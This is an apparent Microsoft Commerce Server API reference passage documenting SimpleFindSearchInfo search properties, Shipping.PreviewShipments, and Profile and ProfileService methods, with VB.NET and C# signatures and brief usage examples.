Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_firstname Property (PIA)

The user_firstname property is a read/write Object that contains the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_firstname As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_firstname {get; set;}

Property Value

An object containing the first name of the user to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_id Property (PIA)

The user_id property is a read/write Object that contains the user ID to search for; if left null, the user ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_id As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_id {get; set;}

Property Value

An object containing the user ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_lastname Property (PIA)

The user_lastname property is a read/write Object that contains the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_lastname As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_lastname {get; set;}

Property Value

An Object containing the last name of the user to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_org_id Property (PIA)

The user_org_id property is a read/write Object that contains the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_org_id As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_org_id {get; set;}

Property Value

An object containing the user organization ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.user_org_name Property (PIA)

The user_org_name property is a read/write Object that contains the user organization name to search for; if left null, the user organization name does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property user_org_name As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object user_org_name {get; set;}

Property Value

An object containing the user organization name to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


Shipping Class (PIA)

Use this object to create shipping cost preview information.

Methods

Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_shipmgr (in cs_shipmgr.dll)


Shipping Methods (PIA)

Methods

Method | Description
PreviewShipments | Divides an order into shipments and produces shipping cost previews for each shipment using each method.


Shipping.PreviewShipments Method (PIA)

Use this method to divide an order into shipments and produce shipping cost previews for each shipment.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function PreviewShipments(
  ByRef orig_orderform As Object,
  ByRef context As Object,
  ByRef ShipmentDistinguishers As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object PreviewShipments(
  ref object orig_orderform,
  ref object context,
  ref object ShipmentDistinguishers,
);

Parameters

[Visual Basic .NET]
orig_orderform
The OrderForm object for which to calculate shipping cost previews.
context
The Context dictionary to use to run the shipping components.
ShipmentDistinguishers
An array of strings containing the line-item attributes (keys) to use to split the order into shipments.
[C#]
orig_orderform
A reference to an object containing the OrderForm dictionary for which to calculate shipping cost previews.
context
A reference to an object containing the Context dictionary to use to run the shipping components.
ShipmentDistinguishers
A reference to an object containing a System.Array of strings containing the line-item attributes (keys) to use to split the order into shipments.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a list of SimpleList dictionaries, one dictionary for each shipment. Each shipment dictionary in turn contains a list of SimpleList dictionaries containing the shipping cost previews, one dictionary for each shipping method.

[C#] An object containing a list of SimpleList dictionaries, one dictionary for each shipment. Each shipment dictionary in turn contains a list of SimpleList dictionaries containing the shipping cost previews, one dictionary for each shipping method.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The PreviewShipments method creates the shipping cost previews by splitting the order into individual shipments. The mechanism used is the same as for the Splitter pipeline component. For more information about how shipment distinguishers are used to split shipments, see Splitter.

The PreviewShipments method returns a list of SimpleList of dictionaries, one dictionary for each shipment. Each shipment dictionary in turn contains a list of SimpleList dictionaries, each of which contains the shipping cost for using a particular shipping method.

For example code showing how to loop through the preview shipments, see Previewing Shipping Costs.

[Visual Basic .NET]

Example

' oShip is a Commerce.Shipping object
' dOrder and dContext are Commerce.Dictionary objects
' ADistinguishers is an Array of strings naming line items
' slShipments is a SimpleList of dictionary or orderform objects

slShipments = oShip.PreviewShipments(dOrder, dContext, _
  ADistinguishers)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Previewing Shipping Costs

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


Microsoft.CommerceServer.Interop.Profiles

The following table lists and describes the classes contained in the Microsoft.CommerceServer.Interop.Profiles namespace.

Class | Description
Profile | Provides run-time read/write access to profile property data and read-only access to property attributes.
ProfileService | Allows creation, deletion, and retrieval of instances of profile schemas.


Profile Class (PIA)

Use this object to retrieve the data in a specific Profile object instance and modify the property values for that Profile object. In addition, use the Profile object to examine and navigate the property attributes of a profile object.

Methods

Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the Profile object.
Update | Saves the profile data to the underlying data store.

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Stores the profile property collection. This property is read-only.

Remarks

The Profile object maintains backward compatibility with the AUO 1.0 object (released in Microsoft Site Server 3.0 Commerce Edition) by inheriting from the IADs interface. Refer to the Active Directory Service Interfaces (ADSI) documentation in MSDN for descriptions of the methods of the IADs interface.

[Visual Basic .NET]

The Profile object supports extended dot notation. For example, using extended dot notation, the following:

oProfile.Fields[“Address.ZipCode”].Value.ToString()

is equivalent to:

((Fields)oProfile.Fields[“Address”].Value)[“ZipCode”].Value.ToString()

The first technique retrieves the Zipcode value in a single call to Fields.Value, while the second technique requires two calls to retrieve the same value.

The Profile object also provides smart navigation into profiles. For example, using smart navigation, the following:

oProfile.Address.ZipCode

is equivalent to:

oProfile.Fields("Address.Zipcode")

In general, the CreateProfile method of the ProfileService object is used to instantiate this object.

[C#]

The Profile object supports extended dot notation. For example, using extended dot notation, the following:

oProfile.Fields[“Address.ZipCode”].Value.ToString()

is equivalent to:

((Fields)oProfile.Fields[“Address”].Value)[“ZipCode”].Value.ToString()

The first technique retrieves the Zipcode value in a single call to Fields.Value, while the second technique requires two calls to retrieve the same value.

The Profile object also provides smart navigation into profiles. For example, using smart navigation, the following:

oProfile.Address.ZipCode

is equivalent to:

oProfile.Fields["Address.Zipcode"]

In general, the CreateProfile method of the ProfileService object is used to instantiate this object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsups (in mscsups.dll)

See Also

Profile Objects

Profile Schema

Profile XML Structures

ProfileService Object


Profile Methods (PIA)

Methods

Method | Description
GetProfileXML | Retrieves an XML fragment representing the data structure of the Profile object.
Update | Saves the profile data to the underlying data store.


Profile.GetProfileXML Method (PIA)

Use this method to retrieve the XML schema and data of the Profile object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetProfileXML (
  eRetrieveEnum As XMLRetrieveEnum,
  bAttributeCentric As Boolean
) As String
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public string GetProfileXML (
  XMLRetrieveEnum eRetrieveEnum,
  bool bAttributeCentric
);

Parameters

[Visual Basic .NET]
eRetrieveEnum
An Enum that indicates whether to retrieve the XML schema, data, or both.
bAttributeCentric
A Boolean that indicates the XML output format. Set this parameter to True to retrieve the XML in an attribute-centric format, and to False to retrieve the XML in an element-centric format.
[C#]
bAttributeCentric
A bool that indicates the XML output format. Set this parameter to true to retrieve the XML in an attribute-centric format, and to false to retrieve the XML in an element-centric format.
eRetrieveEnum
An Enum that indicates whether to retrieve the XML schema, data, or both.

Return Values

[Visual Basic .NET] This method returns a String containing the XML representation of the Profile object.

[C#] This method returns a string containing the resulting XML fragment.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

The following table defines the possible values for XMLRetrieveEnum.

Name | Value | Description
psRetrieveInvalidValue | 0 | Invalid option
psRetrieveSchemaAndData | 1 | Both the schema and data are retrieved.
psRetrieveDataOnly | 2 | Only the data is retrieved.
psRetrieveSchemaOnly | 3 | Only the schema is retrieved.
[Visual Basic .NET]

Example+

' sXMLProfile is a String, oProfile is a UserObject profile

sXMLProfile = oProfile.GetProfileXML(psRetrieveDataOnly, True)

' The attribute-centric sXMLProfile string now contains:
   <?xml version="1.0"?>
   <ProfileDocument>
   <UserObject>
      <AccountInfo  org_id="{590858E1-08A7-11D3-B8C4-00104B95AE0E}"
         account_status="1" date_registered="2000- 6- 5T 0: 0: 0">
      </AccountInfo>
      <GeneralInfo  user_id="{590858DB-08A7-11D3-B8C4-00104B95FFFF}"
         logon_name="jilluser@microsoft.com"
         user_security_password="password" user_title="" last_name="User"
         first_name="Jill" user_id_changed_by="MyAdminID">
      </GeneralInfo>
   </UserObject>
   </ProfileDocument>

sXMLProfile = oProfile.GetProfileXML(psRetrieveDataOnly, False)

' The element-centric sXMLProfile string now contains:
   <?xml version="1.0"?>
   <ProfileDocument>
   <UserObject>
      <AccountInfo>
         <org_id>{590858E1-08A7-11D3-B8C4-00104B95AE0E}</org_id>
         <account_status>1</account_status>
         <date_registered>2000- 6- 5T 0: 0: 0</date_registered>
      </AccountInfo>
      <GeneralInfo
         <user_id>{590858DB-08A7-11D3-B8C4-00104B95FFFF}</user_id>
         <logon_name>jilluser@microsoft.com</logon_name>
         <user_security_password>password</user_security_password>
         <user_title></user_title>
         <last_name>User</last_name>
         <first_name>Jill</first_name>
         <user_id_changed_by>MyAdminID</user_id_changed_by>
      </GeneralInfo>
   </UserObject>
   </ProfileDocument>

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsups (in mscsups.dll)

See Also

Profile Class

Profile.Fields

Profile XML Structures


Profile.Update Method (PIA)

Use this method to save Profile object data to the underlying data store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub Update()
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void Update();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

The Update method commits the object to the data store.

Any changes made by using the IADs interface routines are committed to the database.

Use the Fields property to access the Profile object data.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsups (in mscsups.dll)

See Also

Profile Object

Profile.Fields


Profile Properties (PIA)

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Stores the profile property collection. This property is read-only.


Profile.Fields Property (PIA)

The Fields property is a read-only Fields collection that contains the profile property data for the Profile object. Read-only refers to the inability to add or delete members (profile properties) of the Fields collection. This property is the default property of the Profile object. Use this property to set and retrieve profile property values and to navigate the attribute list of the properties.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
using ADODB26Lib;                              //For _Recordset
…
public Fields Fields {get; }

Property Value

[C#] This property returns a collection of ADODB26Lib.Field objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

[Visual Basic .NET]

The Fields collection is a Fields collection object.

A member of the Fields collection is a Field object that represents a single property or property group of a Profile object.

The Attributes collection is represented as a Properties object.

Use the Update method of the Profile object to save any changed profile data in the underlying data store.

The Fields property of the Profile object supports extended dot notation for increased performance. For example, using extended dot notation, the following:

oProfile.Fields[“Address.ZipCode”].Value.ToString()

is equivalent to:

((Fields)oProfile.Fields[“Address”].Value)[“ZipCode”].Value.ToString()
[C#]

The Fields collection is an ADODB26Lib.Fields collection object.

A member of the Fields collection is an ADODB26Lib.Field object that represents a single property or property group of a Profile object.

The Attributes collection is represented as an ADODB26Lib.Properties object.

Use the Update method of the Profile object to save any changed profile data in the underlying data store.

The Fields property of the Profile object supports extended dot notation for increased performance. For example, using extended dot notation, the following:

oProfile.Fields[“Address.ZipCode”].Value.ToString()

is equivalent to:

((Fields)oProfile.Fields[“Address”].Value)[“ZipCode”].Value.ToString()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsups (in mscsups.dll)

See Also

Profile Class

ProfileService Object


ProfileService Class (PIA)

Use this object to create, delete, and retrieve ProfileObject objects.

Methods

Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object using XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
Unbind | Clears the user credentials for accessing the underlying Profiles store.

Properties

Property | Type | Description
Errors | ADODB26Lib.Errors | Stores the collection of errors encountered in the last Profiles resource operation. This property is read-only.

Remarks

The ProfileService object implements read/write run-time access for ProfileObject objects and read-only access for profile definitions.

The ProfileService object provides run-time access to a profile object, which is a specific instantiation of a profile schema. The Profile Definition Designer module in Commerce Server Business Desk and the Profiles resource in Commerce Server Manager provide design-time access for modifying the profile schema.

In a Web-based application context, the ProfileService object is intended to be created and initialized in the Global.asax file for the application. The ProfileObject objects are intended to be created within page scope.

Call the Initialize method before you use any other ProfileService method or property.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

Profile Objects

Profile Schema

Profile XML Structures

Profile Class


ProfileService Methods (PIA)

Methods

Method | Description
BindAs | Sets the user credentials for accessing the underlying Profiles store.
CreateProfile | Creates the specified ProfileObject object.
CreateProfileXML | Creates a ProfileObject object using XML data.
DeleteProfile | Deletes a ProfileObject object specified by a primary key value from the Profiling System.
DeleteProfileByKey | Deletes a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfile | Retrieves a ProfileObject object specified by a primary key value from the Profiling System.
GetProfileByKey | Retrieves a ProfileObject object specified by a key member/value pair from the Profiling System.
GetProfileDefXML | Retrieves the XML description of the specified profile definition.
Initialize | Establishes connection to the specified Profiles store and populates the schema cache.
Unbind | Clears the user credentials for accessing the underlying Profiles store.


ProfileService.BindAs Method (PIA)

Use this method to set the credentials used to access ProfileObject objects in the underlying Profiles store.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub BindAs (
  sUserName As String,
  sPassword As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void BindAs (
  string sUserName,
  string sPassword,
);

Parameters

[Visual Basic .NET]
sUserName
A String that contains the user name for accessing ProfileObject objects.
sPassword
A String that contains the password for accessing ProfileObject objects.
[C#]
sUserName
A string that contains the user name for accessing ProfileObject objects.
sPassword
A string that contains the password for accessing ProfileObject objects.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

This method sets the credentials used to access and modify ProfileObject objects in the underlying directory store. Any new ProfileObject objects or modifications will be bound to these credentials. The specified credentials define the security context under which all subsequent ProfileObject object operations will be performed, until the Unbind method is invoked. The credentials specified here will be used as is to bind to the underlying directory stores. It is the responsibility of the client to pass in these credentials in the appropriate format. For example, to bind to Active Directory you could pass in any of the following:

  • Full User Principal Name (UPN) (for example, joeuser@domain.com)
  • SAM Account Name (for example, Domain\SAMAccountName)
  • Fully specified distinguished name of the security principal (for example, CN=joeuser, CN=Users, DC=Domain, DC=com)

For the Membership Directory, you must specify the fully specified distinguished name of the security principal.

Use the Unbind method to clear the credentials.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object
oProfileService.BindAs("JoeUser@microsoft.com", "MyPassword123")
oProfileService.BindAs("DomainName\JoeUser", "MyPassword123")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.Unbind


ProfileService.CreateProfile Method (PIA)

Use this method to create a ProfileObject object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function CreateProfile(
  sValue As Object,
  bstrType As String
) As IProfileObject
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public IProfileObject CreateProfile(
  object sValue,
  string bstrType
);

Parameters

[Visual Basic .NET]
sValue
An Object that contains the primary key value for the new ProfileObject object. The variable types permitted for this object are String or Integer.
bstrType
A String that contains the schema type for the new ProfileObject object.
[C#]
sValue
An object that contains the primary key value for the new ProfileObject object. The variable types permitted for this object are string or int.
bstrType
A string that contains the schema type for the new ProfileObject object.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object that implements the IProfileObject interface. The reference is set to Null if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

[C#] This method returns an object that implements the IProfileObject interface. The reference is set to null if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.

The CreateProfile method verifies that a ProfileObject object with the specified attributes does not already exist in the database.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile or GetProfileByKey method to retrieve existing ProfileObject instances from the Profiles store.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject1 and oProfileObject2 are Commerce ProfileObject objects

oProfileObject1 = oProfileService.CreateProfile _
 ("{73A4C9C1-D68D-11D0-98BF-00A0C90DC8DF}", "Address")

oProfileObject2 = oProfileService.CreateProfile _
 ("Joeuser@microsoft.com", "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.DeleteProfile

ProfileService.GetProfile

ProfileService.GetProfileByKey

ProfileService.Initialize

ProfileObject Class

ProfileObject.Fields


ProfileService.CreateProfileXML Method (PIA)

Use this method to create a ProfileObject object using XML data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function CreateProfileXML(
  sValue As Object,
  ByVal bstrProfileType As String,
  ByVal bstrProfileXML As Sring,
  eXMLFormat As XMLFormatEnum,
  bAttributeCentric As Boolean,
) As ProfileObject
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public ProfileObject CreateProfileXML(
  object sValue,
  string bstrProfileType,
  string bstrProfileXML,
  XMLFormatEnum eXMLFormat
);

Parameters

[Visual Basic .NET]
sValue
[in] An Object that contains the primary key value for the new ProfileObject object.
bstrProfileType
A String that contains the profile type.
bstrProfileXML
A String that contains the profile properties in XML.
eXMLFormat
An XMLFormatEnum enumeration that contains the XML format. See the Remarks section for allowed values.
[C#]
sValue
[in] An Object that contains the primary key value for the new ProfileObject object.
bstrProfileType
[in] A String that contains the profile type.
bstrProfileXML
[in] A String that contains the profile properties in XML.
eXMLFormat
[in] An XMLFormatEnum that contains the XML format. See the Remarks section for allowed values.

Return Values

[C#] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic .NET] If this method completes successfully, it returns the newly created ProfileObject object. The object is set to Nothing if a ProfileObject object of the specified primary key and schema type already exists in the Profiles store.

Error Values

The Errors property stores the collection of errors encountered in the last Profiles resource operation. For more information, see IProfileService::get_Errors.

Remarks

If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.

Call the Update method on the returned ProfileObject object to commit the new profile to the data store. The Update method will verify that a ProfileObject object with the specified attributes does not already exist in the database.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfile or GetProfileByKey method to retrieve existing ProfileObject instances from the Profiles store.

Call the Initialize method before you use this ProfileService method.

The following table shows the values in the XMLFormatEnum enumeration, their associated names, and describes their use.

Name | Value | Description
EInvalid | 0 | Reserved for future use.
eAttributeCentric | 1 | Attribute-centric XML format.
eElementCentric | 2 | Element-centric XML format.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService object


ProfileService.DeleteProfile Method (PIA)

Use this method to delete the ProfileObject object specified by a primary key value and schema type. All properties associated with the profile are purged from the system.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub DeleteProfile(
  sValue As Object,
  strType As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void DeleteProfile(
  object sValue,
  string bstrType
);

Parameters

[Visual Basic .NET]
sValue
An Object that contains the primary key value. The variable types permitted for this object are String or Integer.
strType
A String that contains the profile schema type.
[C#]
sValue
An object that contains the primary key value. The variable types permitted for this object are string or int.
bstrType
A string that contains the profile schema type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the DeleteProfile method is called because of an error in creating a new ProfileObject object, any error message produced should be ignored.

Use the DeleteProfileByKey method to delete a profile specified by a key member/value pair and schema type.

Call the Initialize method before you use this ProfileService method.

Caution

  • Care must be taken when deleting ProfileObject objects due to possible expression dependencies. See the ExpressionStore and ExpressionEval objects for details about expressions.
[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.DeleteProfile("Joeuser@microsoft.com", "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.CreateProfile

ProfileService.DeleteProfileByKey

ExpressionEval Object

ExpressionStore Object


ProfileService.DeleteProfileByKey Method (PIA)

Use this method to delete the ProfileObject object specified by a key member name/value pair and schema type. All properties associated with the profile are purged from the system.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Sub DeleteProfileByKey(
  strKeyMemberName As String,
  sValue As Object,
  strType As String
)
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public void DeleteProfileByKey(
  string bstrKeyMemberName,
  object sValue,
  string bstrType
);

Parameters

[Visual Basic .NET]
strKeyMemberName
A String that contains the key member name.
sValue
An Object that contains the key value. The variable types permitted for this object are String or Integer.
strType
A String that contains the profile schema type.
[C#]
bstrKeyMemberName
A string that contains the key member name.
sValue
An object that contains the key value. The variable types permitted for this object are string or int.
bstrType
A string that contains the profile schema type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

Use the DeleteProfile method to delete a profile by specifying a primary key value and schema type.

Call the Initialize method before you use this ProfileService method.

Caution

  • Care must be taken when deleting ProfileObject objects due to possible expression dependencies. See the ExpressionStore and ExpressionEval objects for details about expressions.
[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object

oProfileService.DeleteProfileByKey("user_id",_
 "{74A38551-D6D8-FFD0-12BF-0A20C90DC8D1}" "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.CreateProfile

ProfileService.DeleteProfile

ExpressionEval Object

ExpressionStore Object


ProfileService.GetProfile Method (PIA)

Use this method to retrieve the ProfileObject object corresponding to the specified primary key value and schema type.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetProfile(
  sValue as Object,
  bstrType As String
  Optional bReturnError As Boolean
) As IProfileObject
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public IProfileObject GetProfile(
  object sValue,
  string bstrType,
  bool bReturnError
);

Parameters

[Visual Basic .NET]
sValue
An Object that contains the primary key value. The variable types permitted for this object are String or Integer.
bstrType
A String that contains the profile schema type.
bReturnError
An optional Boolean. The default value is True.
[C#]
sValue
An object that contains the primary key value. The variable types permitted for this object are string or int.
bstrType
A string that contains the profile schema type.
bReturnError
See Remarks for a description of this parameter.

Return Values

[Visual Basic .NET] This method returns an object that implements the IProfileObject interface corresponding to the specified primary key value and schema name.

[C#] This method returns an object that implements the IProfileObject interface.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The Errors property stores the collection of errors encountered in the last Profiles resource operation if an exception is thrown. For more information, see ProfileService.Errors.

Remarks

If the bReturnError parameter is set to true and the specified ProfileObject object is not found, the method throws a COMException with a value of E_PS_PROFILE_NOTEXISTS instead of returning an object reference.

If the bReturnError parameter is set to false and the specified ProfileObject object is not found, an empty ProfileObject object is returned.

Properties with the IsCached attribute set to false are not loaded by this method.

The Fields property of the returned ProfileObject object provides access to the profile properties.

Use the GetProfileByKey method to retrieve a profile by specifying a key member name/value pair and schema type.

Call the Initialize method before you use this ProfileService method.

[Visual Basic .NET]

Example

' oProfileService is a Commerce ProfileService object
' oProfileObject is a Commerce ProfileObject object

oProfileObject = oProfileService.GetProfile("Joeuser@microsoft.com", _
 "UserObject")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Profiles

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsupslib (in mscsupslib.dll)

See Also

ProfileService Class

ProfileService.GetProfileByKey

ProfileService.Initialize

ProfileObject Class

ProfileObject.Fields


ProfileService.GetProfileByKey Method (PIA)

Use this method to retrieve a ProfileObject object that corresponds to a specified key member name/value pair and schema type.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Profiles
…
Public Function GetProfileByKey(
  bstrKeyMemberName As String,
  sValue As Object,
  bstrType As String
  Optional bReturnError As Boolean
) As IProfileObject
[C#]
using Microsoft.CommerceServer.Interop.Profiles;
…
public IProfileObject GetProfileByKey(
  string bstrKeyMemberName,
  object sValue,
  string bstrType,
  bool bReturnError
);

Parameters

[Visual Basic .NET]
bstrKeyMemberName
A String that contains the key member name.
sValue
An Object that contains the key value. The variable types permitted for this object are String or Integer.
bstrType
A String that contains the schema type.
bReturnError
An optional Boolean. The default value is True.
[C#]
bstrKeyMemberName
A string that contains the key member name.
sValue
An object that contains the key value. The variable types permitted for this object are string or int.
bstrType
A string that contains the schema type.
bReturnError
See Remarks for a description of this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object that implements the IProfileObject interface corresponding to the specified key member/value pair and schema name.

